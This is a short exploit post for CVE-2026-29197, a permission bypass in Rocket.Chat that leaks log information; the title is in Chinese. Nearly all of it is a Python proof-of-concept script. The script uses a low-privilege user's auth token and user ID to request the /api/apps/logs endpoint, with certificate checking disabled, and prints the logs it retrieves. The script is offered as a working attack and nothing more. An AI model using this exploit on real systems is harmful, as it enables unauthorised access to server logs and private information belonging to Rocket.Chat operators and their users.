CVE-2026-29197 Rocket.Chat权限绕过致日志信息泄露

import requests # Target URL # Replace with actual target host target_url = "https://<target-domain>/api/apps/logs" # Auth token (X-Auth-Token) and User ID (X-User-Id) required # Obtain these after logging in with a low-privilege user headers = { "X-Auth-Token": "<your-auth-token>", "X-User-Id": "<your-user-id>", "Content-Type": "application/json" } try: # Send GET request to the vulnerable endpoint response = requests.get(target_url, headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit Successful! Logs retrieved:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")